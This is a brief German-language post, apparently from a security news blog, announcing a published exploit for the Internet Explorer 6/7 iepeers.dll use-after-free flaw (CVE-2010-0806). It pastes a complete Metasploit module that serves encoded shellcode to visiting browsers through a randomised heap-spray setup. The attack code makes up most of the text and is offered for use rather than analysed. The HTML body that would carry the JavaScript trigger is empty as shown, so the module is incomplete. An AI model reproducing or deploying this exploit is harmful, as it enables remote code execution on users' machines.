IE 0-day exploit code veröffentlicht

Dem israelischen Hacker Moshe Ben Abu ist es gelungen, auf Grund von Hinweisen eines McAfee Blogposts eine Sicherheitslücke im Microsoft Internet Explorer auszunutzen: Der Exploitcode wurde bereits veröffentlicht: http://www.rec-sec.com/exploits/msf/ie_iepeers_pointer.rb

Betroffene Versionen: IE 6 und 7

Ganze Story (Englisch): http://blogs.zdnet.com/security/?p=5666&tag=trunk;content

Und hier der Code:

##
# ie_iepeers_pointer.rb
#
# Microsoft Internet Explorer iepeers.dll use-after-free exploit for the Metasploit Framework
#
# Tested successfully on the following platforms:
#  - Microsoft Internet Explorer 7, Windows Vista SP2
#  - Microsoft Internet Explorer 7, Windows XP SP3
#  - Microsoft Internet Explorer 6, Windows XP SP3
#
# Exploit found in-the-wild. For additional details:
# http://www.rec-sec.com/2010/03/10/internet-explorer-iepeers-use-after-free-exploit/
#
# Trancer
# http://www.rec-sec.com
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Microsoft Internet Explorer iepeers.dll use-after-free',
   'Description'    => %q{
    This module exploits a use-after-free vulnerability within iepeers.dll of 
    Microsoft Internet Explorer versions 6 and 7.
    
    NOTE: Internet Explorer 8 and Internet Explorer 5 are not affected.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 
      'Trancer '
      ], 
   'Version'        => '$Revision:$',
   'References'     =>
    [
     [ 'CVE', '2010-0806' ],
     [ 'OSVDB', '62810' ],
     [ 'BID', '38615' ],
     [ 'URL', 'http://www.microsoft.com/technet/security/advisory/981374.mspx' ],
     [ 'URL', 'http://www.avertlabs.com/research/blog/index.php/2010/03/09/targeted-internet-explorer-0day-attack-announced-cve-2010-0806/' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'InitialAutoRunScript' => 'migrate -f',
    },
   'Payload'        =>
    {
     'Space'         => 1024,
     'BadChars'      => "\x00\x09\x0a\x0d'\\", 
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C } ] 
    ],
   'DisclosureDate' => 'Mar 09 2010',
   'DefaultTarget'  => 0))
 end

 def on_request_uri(cli, request)
  
  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  # Encode the shellcode
  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

  # Set the return\nops
  ret     = Rex::Text.to_unescape([target.ret].pack('V'))

  # Randomize the javascript variable names
   j_shellcode  = rand_text_alpha(rand(100) + 1)
  j_nops   = rand_text_alpha(rand(100) + 1)
  j_slackspace = rand_text_alpha(rand(100) + 1)
  j_fillblock  = rand_text_alpha(rand(100) + 1)
  j_memory  = rand_text_alpha(rand(100) + 1)
  j_counter  = rand_text_alpha(rand(30) + 2)
  j_ret   = rand_text_alpha(rand(100) + 1)
  j_array   = rand_text_alpha(rand(100) + 1)
  j_function1  = rand_text_alpha(rand(100) + 1)
  j_function2  = rand_text_alpha(rand(100) + 1)
  j_object  = rand_text_alpha(rand(100) + 1)
  j_id   = rand_text_alpha(rand(100) + 1)

  # Build out the message
  html = %Q|

|

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the compressed response to the client
  send_response(cli, html, { 'Content-Type' => 'text/html' })
  
  # Handle the payload
  handler(cli)

 end

end